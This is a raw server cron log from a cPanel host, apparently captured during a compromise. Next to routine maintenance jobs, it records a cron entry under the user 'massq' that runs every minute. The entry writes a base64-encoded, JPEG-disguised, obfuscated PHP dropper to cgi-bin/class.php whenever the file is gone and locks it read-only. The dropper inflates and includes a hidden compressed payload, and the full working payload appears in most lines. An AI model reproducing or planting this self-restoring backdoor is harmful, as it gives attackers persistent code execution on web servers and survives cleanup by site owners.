Sep  3 22:29:01 server CROND[2740]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:29:01 server CROND[2741]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 22:30:01 server CROND[3130]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 22:30:01 server CROND[3131]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 22:30:01 server CROND[3133]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:30:01 server CROND[3139]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 22:30:01 server CROND[3146]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 22:30:01 server CROND[3144]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:30:01 server CROND[3149]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 22:30:01 server CROND[3148]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 22:31:01 server CROND[3957]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:31:01 server CROND[3958]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:31:01 server CROND[3959]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 22:32:01 server CROND[4326]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 22:32:01 server CROND[4328]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:32:01 server CROND[4327]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:33:01 server CROND[4817]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:33:01 server CROND[4818]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 22:33:01 server CROND[4819]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:34:01 server CROND[5198]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:34:01 server CROND[5199]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 22:34:01 server CROND[5200]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:35:01 server CROND[5584]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 22:35:01 server CROND[5585]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 22:35:01 server CROND[5588]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 22:35:01 server CROND[5594]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 22:35:01 server CROND[5599]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  3 22:35:01 server CROND[5603]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 22:35:01 server CROND[5600]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:35:01 server CROND[5601]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 22:35:01 server CROND[5602]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:36:01 server CROND[6476]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 22:36:01 server CROND[6477]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:36:01 server CROND[6478]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:37:01 server CROND[6959]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 22:37:01 server CROND[6960]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:37:01 server CROND[6961]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:38:01 server CROND[7385]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:38:01 server CROND[7386]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 22:38:01 server CROND[7384]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:39:01 server CROND[7854]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 22:39:01 server CROND[7853]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:39:01 server CROND[7855]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 22:39:01 server CROND[7856]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:40:01 server CROND[8243]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 22:40:01 server CROND[8246]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 22:40:01 server CROND[8247]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 22:40:01 server CROND[8249]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 22:40:01 server CROND[8250]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:40:01 server CROND[8251]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
